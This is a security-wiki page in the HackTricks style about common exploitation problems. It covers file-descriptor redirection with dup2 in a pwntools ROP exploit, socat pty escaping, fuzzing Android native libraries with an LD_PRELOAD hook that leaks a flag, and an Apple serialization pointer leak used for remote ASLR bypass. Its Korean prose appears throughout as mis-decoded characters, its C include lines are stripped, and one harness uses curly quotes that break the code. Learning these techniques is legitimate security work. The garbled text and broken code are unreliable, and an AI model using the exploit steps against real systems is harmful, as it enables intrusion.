์ผ๋ฐ˜์ ์ธ Exploiting ๋ฌธ์ œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

FDs in Remote Exploitation

์˜ˆ๋ฅผ ๋“ค์–ด **system('/bin/sh')**๋ฅผ ํ˜ธ์ถœํ•˜๋Š” remote server์— exploit์„ ๋ณด๋‚ผ ๋•Œ, ์ด๋Š” ๋‹น์—ฐํžˆ server process์—์„œ ์‹คํ–‰๋˜๋ฉฐ /bin/sh๋Š” stdin (FD: 0)์—์„œ ์ž…๋ ฅ์„ ๊ธฐ๋Œ€ํ•˜๊ณ  stdout๊ณผ stderr (FDs 1 ๋ฐ 2)์— ์ถœ๋ ฅ์„ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ attacker๋Š” shell๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

์ด๋ฅผ ํ•ด๊ฒฐํ•˜๋Š” ํ•œ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์€ server๊ฐ€ ์‹œ์ž‘๋  ๋•Œ FD number 3(for listening)์„ ์ƒ์„ฑํ–ˆ๊ณ , ๊ทธ ๋‹ค์Œ attacker์˜ connection์ด **FD number 4**์— ๋†“์ธ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ syscall **dup2**๋ฅผ ์‚ฌ์šฉํ•ด stdin (FD 0)๊ณผ stdout (FD 1)์„ attacker์˜ connection์— ํ•ด๋‹นํ•˜๋Š” FD 4๋กœ duplicateํ•˜๋ฉด, shell์ด ์‹คํ–‰๋œ ํ›„ shell์— ์ ‘์†ํ•ด ์ƒํ˜ธ์ž‘์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.

Exploit example from here:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

์ฐธ๊ณ : socat๋Š” ์ด๋ฏธ **stdin**๊ณผ **stdout**์„ ์†Œ์ผ“์œผ๋กœ ์ „์†กํ•œ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜, pty ๋ชจ๋“œ๋Š” DELETE ๋ฌธ์ž๋ฅผ ํฌํ•จํ•œ๋‹ค. ๋”ฐ๋ผ์„œ \x7f (DELETE)๋ฅผ ์ „์†กํ•˜๋ฉด exploit์˜ ์ด์ „ ๋ฌธ์ž๋ฅผ ์‚ญ์ œํ•œ๋‹ค.

์ด๋ฅผ ์šฐํšŒํ•˜๋ ค๋ฉด ์ด์Šค์ผ€์ดํ”„ ๋ฌธ์ž \x16์„ ๋ณด๋‚ธ ๋ชจ๋“  \x7f ์•ž์— ๋ถ™์—ฌ์•ผ ํ•œ๋‹ค.

์—ฌ๊ธฐ์—์„œ ์ด ๋™์ž‘์˜ ์˜ˆ์‹œ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Android AArch64 shared-library fuzzing & LD_PRELOAD hooking

Android ์•ฑ์ด ์‹ฌ๋ณผ์ด ์ œ๊ฑฐ๋œ AArch64 .so๋งŒ ํฌํ•จ๋œ ์ƒํƒœ๋กœ ๋ฐฐํฌ๋˜๋”๋ผ๋„, APK๋ฅผ ์žฌ๋นŒ๋“œํ•˜์ง€ ์•Š๊ณ  ๊ธฐ๊ธฐ์—์„œ ์ง์ ‘ exported logic์„ fuzzํ•  ์ˆ˜ ์žˆ๋‹ค. ์‹ค๋ฌด์ ์ธ ์›Œํฌํ”Œ๋กœ:

  1. ํ˜ธ์ถœ ๊ฐ€๋Šฅํ•œ ์—”ํŠธ๋ฆฌ ํฌ์ธํŠธ ์ฐพ๊ธฐ. objdump -T libvalidate.so | grep -E "validate"๋Š” ๋น ๋ฅด๊ฒŒ exported functions๋ฅผ ๋‚˜์—ดํ•œ๋‹ค. Decompilers (Ghidra, IDA, BN)์€ ์‹ค์ œ ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ ๋ณด์—ฌ์ค€๋‹ค, ์˜ˆ: int validate(const uint8_t *buf, uint64_t len).
  2. ๋…๋ฆฝ ์‹คํ–‰ํ˜• harness ์ž‘์„ฑ. ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๊ณ  ๋ฒ„ํผ๋ฅผ ์œ ์ง€ํ•œ ๋’ค, ์•ฑ์ด ํ•˜๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ์ •ํ™•ํžˆ exported symbol์„ ํ˜ธ์ถœํ•œ๋‹ค. NDK๋กœ ํฌ๋กœ์Šค ์ปดํŒŒ์ผํ•œ๋‹ค (์˜ˆ: aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
์ตœ์†Œ ํŒŒ์ผ ๊ธฐ๋ฐ˜ harness ```c #include #include #include #include #include #include

extern int validate(const uint8_t *buf, uint64_t len);

int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }

</details>

3. **์˜ˆ์ƒ ๊ตฌ์กฐ๋ฅผ ์žฌ๊ตฌ์„ฑ.** Ghidra์˜ ์—๋Ÿฌ ๋ฌธ์ž์—ด๊ณผ ๋น„๊ต๋ฅผ ๋ณด๋ฉด ํ•ด๋‹น ํ•จ์ˆ˜๋Š” ์ƒ์ˆ˜ ํ‚ค(`magic`, `version`, nested `root.children.*`)๋ฅผ ๊ฐ–๋Š” ์—„๊ฒฉํ•œ JSON์„ ํŒŒ์‹ฑํ•˜๊ณ , ์‚ฐ์ˆ  ๊ฒ€์‚ฌ(์˜ˆ: `value * 2 == 84` โ‡’ `value`๋Š” `42`์—ฌ์•ผ ํ•จ)๋ฅผ ์ˆ˜ํ–‰ํ•จ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ๊ฐ ๋ถ„๊ธฐ๋ฅผ ์ ์ง„์ ์œผ๋กœ ๋งŒ์กฑ์‹œํ‚ค๋Š” ๊ตฌ๋ฌธ์ ์œผ๋กœ ์œ ํšจํ•œ JSON์„ ์ œ๊ณตํ•˜๋ฉด instrumentation ์—†์ด ์Šคํ‚ค๋งˆ๋ฅผ ๋งคํ•‘ํ•  ์ˆ˜ ์žˆ๋‹ค.
4. **anti-debug๋ฅผ ์šฐํšŒํ•ด secrets๋ฅผ leakํ•ฉ๋‹ˆ๋‹ค.** ํ•ด๋‹น `.so`๊ฐ€ `snprintf`๋ฅผ importํ•˜๋ฏ€๋กœ, `LD_PRELOAD`๋กœ ์ด๋ฅผ ์˜ค๋ฒ„๋ผ์ด๋“œํ•˜์—ฌ breakpoints๊ฐ€ ์ฐจ๋‹จ๋˜์–ด ์žˆ์–ด๋„ ๋ฏผ๊ฐํ•œ format strings๋ฅผ dumpํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<details>
<summary>๊ฐ„๋‹จํ•œ snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>

typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);

int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");

va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}

LD_PRELOAD=./hook.so ./validate_harness payload.json๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ํŒจ์น˜ํ•˜์ง€ ์•Š๊ณ  ๋‚ด๋ถ€ flag๋ฅผ ์™ธ๋ถ€๋กœ ๋นผ๋‚ด๋ฉฐ crash oracle์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. 5. fuzz ๊ณต๊ฐ„์„ ์ถ•์†Œํ•œ๋‹ค. ๋””์Šค์–ด์…ˆ๋ธ”์„ ํ†ตํ•ด flag ๋น„๊ต ์ „๋ฐ˜์—์„œ ์žฌ์‚ฌ์šฉ๋˜๋Š” XOR ํ‚ค๊ฐ€ ๋“œ๋Ÿฌ๋‚ฌ๊ณ , ์ด๋Š” flag์˜ ์ฒ˜์Œ 7๋ฐ”์ดํŠธ๊ฐ€ ์•Œ๋ ค์ ธ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์•Œ ์ˆ˜ ์—†๋Š” 9๋ฐ”์ดํŠธ๋งŒ fuzzํ•ฉ๋‹ˆ๋‹ค. 6. ์œ ํšจํ•œ JSON envelope ์•ˆ์— fuzz ๋ฐ”์ดํŠธ๋ฅผ ์‚ฝ์ž…ํ•œ๋‹ค. AFL harness๋Š” stdin์—์„œ ์ •ํ™•ํžˆ 9๋ฐ”์ดํŠธ๋ฅผ ์ฝ์–ด ์ด๋ฅผ flag ์ ‘๋ฏธ์‚ฌ์— ๋ณต์‚ฌํ•˜๊ณ , ๋‚˜๋จธ์ง€ ๋ชจ๋“  ํ•„๋“œ๋Š” ํ•˜๋“œ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค(์ƒ์ˆ˜, tree depths, arithmetic preimage). ์ž˜๋ชป๋œ ์ฝ๊ธฐ๋Š” ๋‹จ์ˆœํžˆ ์ข…๋ฃŒ๋˜๋ฏ€๋กœ AFL์€ ์˜๋ฏธ ์žˆ๋Š” ํ…Œ์ŠคํŠธ์ผ€์ด์Šค์—๋งŒ ์‚ฌ์ดํด์„ ์†Œ๋น„ํ•ฉ๋‹ˆ๋‹ค:

๊ฐ„๋‹จํ•œ AFL harness ```c #include #include #include #include

extern int validate(unsigned char *bytes, size_t len);

#define FUZZ_SIZE 9

int main(void) { uint8_t blob[FUZZ_SIZE]; if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0; char suffix[FUZZ_SIZE + 1]; memcpy(suffix, blob, FUZZ_SIZE); suffix[FUZZ_SIZE] = โ€˜\0โ€™; char json[512]; int len = snprintf(json, sizeof(json), โ€œ{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",โ€
โ€œ"root":{"type":16,"level":3,"num_children":1,"children":[โ€
โ€œ{"type":32,"level":2,"num_children":1,"subchildren":[โ€
โ€œ{"type":48,"level":1,"num_children":1,"leaves":[โ€
โ€œ{"type":64,"level":0,"reserved":0,"value":42}]}}]}}โ€, suffix); if (len <= 0 || (size_t)len >= sizeof(json)) return 0; validate((unsigned char *)json, len); return 0; }

</details>

7. **Run AFL with the crash-as-success oracle.** ๋ชจ๋“  ์˜๋ฏธ ๊ฒ€์‚ฌ๋“ค์„ ํ†ต๊ณผํ•˜๊ณ  ์ •ํ™•ํ•œ 9๋ฐ”์ดํŠธ ์ ‘๋ฏธ์‚ฌ๋ฅผ ๋งž์ถ˜ ์ž…๋ ฅ์€ ์˜๋„๋œ ํฌ๋ž˜์‹œ๋ฅผ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค; ๊ทธ ํŒŒ์ผ๋“ค์€ `output/crashes`์— ์ €์žฅ๋˜๋ฉฐ ๊ฐ„๋‹จํ•œ ํ•˜๋‹ˆ์Šค๋กœ ๋ฆฌํ”Œ๋ ˆ์ดํ•˜์—ฌ ๋น„๋ฐ€์„ ๋ณต๊ตฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์›Œํฌํ”Œ๋กœ์šฐ๋Š” anti-debug-protected JNI validators๋ฅผ ๋น ๋ฅด๊ฒŒ ๋ถ„๋ฅ˜ํ•˜๊ณ , ํ•„์š” ์‹œ ๋น„๋ฐ€์„ leakํ•œ ๋’ค ์˜๋ฏธ ์žˆ๋Š” ๋ฐ”์ดํŠธ๋งŒ fuzzํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฉฐ, ๋ชจ๋‘ ์›๋ณธ APK๋ฅผ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ  ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค.

## Image/Media Parsing Exploits (DNG/TIFF/JPEG)

์•…์„ฑ ์นด๋ฉ”๋ผ ํฌ๋งท์€ ์ข…์ข… ์ž์ฒด bytecode (opcode lists, map tables, tone curves)๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๊ถŒํ•œ ์žˆ๋Š” decoder๊ฐ€ metadata์—์„œ ํŒŒ์ƒ๋œ ์น˜์ˆ˜๋‚˜ plane indices๋ฅผ bound-checkํ•˜์ง€ ๋ชปํ•˜๋ฉด, ๊ทธ๋Ÿฌํ•œ opcodes๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ฝ๊ธฐ/์“ฐ๊ธฐ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๊ฐ€ ๋˜์–ด heap์„ groomํ•˜๊ฑฐ๋‚˜ ํฌ์ธํ„ฐ๋ฅผ pivotํ•˜๊ฑฐ๋‚˜ ์‹ฌ์ง€์–ด ASLR์„ leakํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Samsung์˜ in-the-wild Quram exploit์€ `DeltaPerColumn` bounds ๋ฒ„๊ทธ, skipped opcodes๋ฅผ ํ†ตํ•œ heap spraying, vtable remapping, ๊ทธ๋ฆฌ๊ณ  `system()`์œผ๋กœ์˜ JOP ์ฒด์ธ์„ ์—ฐ๊ฒฐํ•œ ์ตœ๊ทผ ์‚ฌ๋ก€์ž…๋‹ˆ๋‹ค.

<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>

## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization

### ์š”๊ตฌ์‚ฌํ•ญ ๋ฐ ๊ณต๊ฒฉ ํ‘œ๋ฉด

- ์„œ๋น„์Šค๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” property lists (XML ๋˜๋Š” binary)๋ฅผ ๋ฐ›์•„ `NSKeyedUnarchiver.unarchivedObjectOfClasses`๋ฅผ permissive allowlist(์˜ˆ: `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`)๋กœ ํ˜ธ์ถœํ•œ๋‹ค.
- ์ƒ์„ฑ๋œ ๊ฐ์ฒด๋“ค์€ ์žฌ์‚ฌ์šฉ๋˜๋ฉฐ ๋‚˜์ค‘์— `NSKeyedArchiver`๋กœ ๋‹ค์‹œ ์ง๋ ฌํ™”๋˜๊ฑฐ๋‚˜(๋˜๋Š” ๊ฒฐ์ •์  ๋ฒ„ํ‚ท ์ˆœ์„œ๋กœ ๋ฐ˜๋ณต๋˜์–ด) ๊ณต๊ฒฉ์ž์—๊ฒŒ ๋ฐ˜ํ™˜๋œ๋‹ค.
- ์ปจํ…Œ์ด๋„ˆ์˜ ์ผ๋ถ€ ํ‚ค ํƒ€์ž…์ด ํ•ด์‹œ ์ฝ”๋“œ๋กœ ํฌ์ธํ„ฐ ๊ฐ’์„ ์‚ฌ์šฉํ•œ๋‹ค. 2025๋…„ 3์›” ์ด์ „์—๋Š” `CFNull`/`NSNull`์ด `CFHash(object) == (uintptr_t)object`๋กœ ํด๋ฐฑํ–ˆ๊ณ , ์—ญ์ง๋ ฌํ™”๋Š” ํ•ญ์ƒ shared-cache ์‹ฑ๊ธ€ํ„ด `kCFNull`์„ ๋ฐ˜ํ™˜ํ•˜์—ฌ ๋ฉ”๋ชจ๋ฆฌ ์†์ƒ์ด๋‚˜ ํƒ€์ด๋ฐ ์—†์ด ์•ˆ์ •์ ์ธ ์ปค๋„-๊ณต์œ  ํฌ์ธํ„ฐ๋ฅผ ์ œ๊ณตํ–ˆ๋‹ค.

### ์ œ์–ด ๊ฐ€๋Šฅํ•œ ํ•ด์‹ฑ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ

- **Pointer-based hashing:** `CFNull`์˜ `CFRuntimeClass`์—๋Š” hash callback์ด ์—†์–ด `CFBasicHash`๊ฐ€ ๊ฐ์ฒด ์ฃผ์†Œ๋ฅผ ํ•ด์‹œ๋กœ ์‚ฌ์šฉํ•œ๋‹ค. ์ด ์‹ฑ๊ธ€ํ„ด์€ ์žฌ๋ถ€ํŒ… ์ „๊นŒ์ง€ ๊ณ ์ •๋œ shared-cache ์ฃผ์†Œ์— ์กด์žฌํ•˜๋ฏ€๋กœ ํ•ด์‹œ๋Š” ํ”„๋กœ์„ธ์Šค ๊ฐ„์— ์•ˆ์ •์ ์ด๋‹ค.
- **Attacker-controlled hashes:** 32-bit `NSNumber` ํ‚ค๋Š” `_CFHashInt`๋ฅผ ํ†ตํ•ด ํ•ด์‹œ๋˜๋ฉฐ, ์ด๋Š” ๊ฒฐ์ •๋ก ์ ์ด๊ณ  ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค. ํŠน์ • ์ •์ˆ˜๋ฅผ ์„ ํƒํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์ž„์˜์˜ ํ…Œ์ด๋ธ” ํฌ๊ธฐ์— ๋Œ€ํ•ด `hash(number) % num_buckets`๋ฅผ ์„ ํƒํ•  ์ˆ˜ ์žˆ๋‹ค.
- **`NSDictionary` implementation:** ๋ถˆ๋ณ€ ๋”•์…”๋„ˆ๋ฆฌ๋Š” `CFBasicHash`๋ฅผ ํฌํ•จํ•˜๋ฉฐ ์†Œ์ˆ˜์ธ ๋ฒ„ํ‚ท ์ˆ˜๋Š” `__CFBasicHashTableSizes`์—์„œ ์„ ํƒ๋œ๋‹ค(์˜ˆ: 23, 41, 71, 127, 191, 251, 383, 631, 1087). ์ถฉ๋Œ์€ linear probing(`__kCFBasicHashLinearHashingValue`)์œผ๋กœ ์ฒ˜๋ฆฌ๋˜๋ฉฐ, ์ง๋ ฌํ™”๋Š” ์ˆซ์ž ์ˆœ์„œ๋กœ ๋ฒ„ํ‚ท์„ ์ˆœํšŒํ•œ๋‹ค. ๋”ฐ๋ผ์„œ ์ง๋ ฌํ™”๋œ ํ‚ค์˜ ์ˆœ์„œ๋Š” ๊ฐ ํ‚ค๊ฐ€ ๊ฒฐ๊ตญ ์ฐจ์ง€ํ•œ ๋ฒ„ํ‚ท ์ธ๋ฑ์Šค๋ฅผ ์ธ์ฝ”๋”ฉํ•œ๋‹ค.

### ๋ฒ„ํ‚ท ์ธ๋ฑ์Šค๋ฅผ ์ง๋ ฌํ™” ์ˆœ์„œ๋กœ ์ธ์ฝ”๋”ฉํ•˜๊ธฐ

๋ฒ„ํ‚ท์ด ์ ์œ ๋œ ์Šฌ๋กฏ๊ณผ ๋นˆ ์Šฌ๋กฏ์ด ๋ฒˆ๊ฐˆ์•„ ๋‚˜ํƒ€๋‚˜๋Š” ๋”•์…”๋„ˆ๋ฆฌ๋ฅผ materializeํ•˜๋Š” plist๋ฅผ ๊ตฌ์„ฑํ•˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” linear probing์ด `NSNull`์„ ๋ฐฐ์น˜ํ•  ์ˆ˜ ์žˆ๋Š” ์œ„์น˜๋ฅผ ์ œ์•ฝํ•  ์ˆ˜ ์žˆ๋‹ค. 7-๋ฒ„ํ‚ท ์˜ˆ์—์„œ, ์ง์ˆ˜ ๋ฒ„ํ‚ท์„ `NSNumber` ํ‚ค๋กœ ์ฑ„์šฐ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฐ๊ณผ๋ฅผ ๋งŒ๋“ ๋‹ค:
```text
bucket:          0 1 2 3 4 5 6
occupancy:       # _ # _ # _ #

During deserialization the victim inserts the single NSNull key. Its initial bucket is hash(NSNull) % 7, but probing advances until hitting one of the open indices {1,3,5}. The serialized key order reveals which slot was used, disclosing whether the pointer hash modulo 7 lies in {6,0,1}, {2,3}, or {4,5}. Because the attacker controls the original serialized order, the NSNull key is emitted last in the input plist so the post-reserialization ordering is solely a function of bucket placement.

Resolving exact residues with complementary tables

๋‹จ์ผ dictionary๋Š” ์ž”์—ฌ๊ฐ’ ๋ฒ”์œ„๋งŒ leak ํ•œ๋‹ค. hash(NSNull) % p์˜ ์ •ํ™•ํ•œ ๊ฐ’์„ ๊ฒฐ์ •ํ•˜๋ ค๋ฉด ์†Œ์ˆ˜ ๋ฒ„ํ‚ท ํฌ๊ธฐ p๋งˆ๋‹ค ๋‘ ๊ฐœ์˜ dictionary๋ฅผ ๋งŒ๋“ ๋‹ค: ์ง์ˆ˜ ๋ฒ„ํ‚ท์„ ๋ฏธ๋ฆฌ ์ฑ„์šด ๊ฒƒ ํ•˜๋‚˜์™€ ํ™€์ˆ˜ ๋ฒ„ํ‚ท์„ ๋ฏธ๋ฆฌ ์ฑ„์šด ๊ฒƒ ํ•˜๋‚˜. ์ƒ๋ณด ํŒจํ„ด(_ # _ # _ # _)์—์„œ ๋น„์–ด ์žˆ๋Š” ์Šฌ๋กฏ(0,2,4,6)์€ residue ์ง‘ํ•ฉ {0}, {1,2}, {3,4}, {5,6}์— ๋Œ€์‘ํ•œ๋‹ค. ๋‘ dictionary์—์„œ NSNull์˜ ์ง๋ ฌํ™”๋œ ์œ„์น˜๋ฅผ ๊ด€์ฐฐํ•˜๋ฉด ๋‘ ํ›„๋ณด ์ง‘ํ•ฉ์˜ ๊ต์ง‘ํ•ฉ์ด ํ•ด๋‹น p์— ๋Œ€ํ•ด ๊ณ ์œ ํ•œ r_i๋ฅผ ๋งŒ๋“ค๊ธฐ ๋•Œ๋ฌธ์— ์ž”์—ฌ๊ฐ’์ด ๋‹จ์ผ ๊ฐ’์œผ๋กœ ์ขํ˜€์ง„๋‹ค.

๊ณต๊ฒฉ์ž๋Š” ๋ชจ๋“  dictionary๋ฅผ NSArray ์•ˆ์— ๋ฌถ์–ด์„œ ๋„ฃ์œผ๋ฏ€๋กœ ๋‹จ์ผ deserialize โ†’ serialize ์™•๋ณต์œผ๋กœ ์„ ํƒ๋œ ๋ชจ๋“  ํ…Œ์ด๋ธ” ํฌ๊ธฐ์— ๋Œ€ํ•œ residues๋ฅผ leak ํ•œ๋‹ค.

Reconstructing the 64-bit shared-cache pointer

For each prime p_i โˆˆ {23, 41, 71, 127, 191, 251, 383, 631, 1087}, the attacker recovers hash(NSNull) โ‰ก r_i (mod p_i) from the serialized ordering. Applying the Chinese Remainder Theorem (CRT) with the extended Euclidean algorithm yields:

ฮ  p_i = 23ยท41ยท71ยท127ยท191ยท251ยท383ยท631ยท1087 = 0x5ce23017b3bd51495 > 2^64

so the combined residue uniquely equals the 64-bit pointer to kCFNull. The Project Zero PoC iteratively combines congruences while printing intermediate moduli to show convergence toward the true address (0x00000001eb91ab60 on the vulnerable build).

์‹ค์ „ ์ž‘์—… ํ๋ฆ„

  1. Generate crafted input: ๊ณต๊ฒฉ์ž ์ชฝ XML plist(์†Œ์ˆ˜๋งˆ๋‹ค ๋‘ ๊ฐœ์˜ dictionary, NSNull์ด ๋งˆ์ง€๋ง‰์— ์ง๋ ฌํ™”๋จ)๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์ด๋ฅผ ๋ฐ”์ด๋„ˆ๋ฆฌ ํ˜•์‹์œผ๋กœ ๋ณ€ํ™˜ํ•œ๋‹ค.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
  1. Victim round trip: ํ”ผํ•ด์ž ์„œ๋น„์Šค๋Š” ํ—ˆ์šฉ๋œ ํด๋ž˜์Šค ์ง‘ํ•ฉ {NSDictionary, NSArray, NSNumber, NSString, NSNull}์„ ์‚ฌ์šฉํ•˜์—ฌ NSKeyedUnarchiver.unarchivedObjectOfClasses๋กœ ์—ญ์ง๋ ฌํ™”ํ•œ ๋’ค ์ฆ‰์‹œ NSKeyedArchiver๋กœ ๋‹ค์‹œ ์ง๋ ฌํ™”ํ•œ๋‹ค.
  2. Residue extraction: ๋ฐ˜ํ™˜๋œ plist๋ฅผ ๋‹ค์‹œ XML๋กœ ๋ณ€ํ™˜ํ•˜๋ฉด dictionary ํ‚ค์˜ ์ˆœ์„œ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. extract-pointer.c ๊ฐ™์€ ํ—ฌํผ๋Š” object table์„ ์ฝ์–ด singleton NSNull์˜ ์ธ๋ฑ์Šค๋ฅผ ๊ฒฐ์ •ํ•˜๊ณ , ๊ฐ dictionary ์Œ์„ ๋ฒ„ํ‚ท ์ž”์—ฌ๊ฐ’์œผ๋กœ ๋งคํ•‘ํ•œ ๋’ค CRT ์‹œ์Šคํ…œ์„ ํ’€์–ด shared-cache ํฌ์ธํ„ฐ๋ฅผ ๋ณต์›ํ•œ๋‹ค.
  3. Verification (optional): CFHash(kCFNull)์„ ์ถœ๋ ฅํ•˜๋Š” ์ž‘์€ Objective-C ํ—ฌํผ๋ฅผ ์ปดํŒŒ์ผํ•˜๋ฉด ์ถœ๋ ฅ๊ฐ’์ด ์‹ค์ œ ์ฃผ์†Œ์™€ ์ผ์น˜ํ•จ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๋ฉ”๋ชจ๋ฆฌ ์•ˆ์ „ ๋ฒ„๊ทธ๊ฐ€ ํ•„์š”ํ•˜์ง€ ์•Š๋‹ค โ€” ๋‹จ์ง€ pointer-keyed ๊ตฌ์กฐ์˜ ์ง๋ ฌํ™” ์ˆœ์„œ๋ฅผ ๊ด€์ฐฐํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ์›๊ฒฉ ASLR ์šฐํšŒ primitive๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

Common Exploiting Problems Unsafe Relocation Fixups

Reversing Native Libraries

Reversing Tools & Basic Methods

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ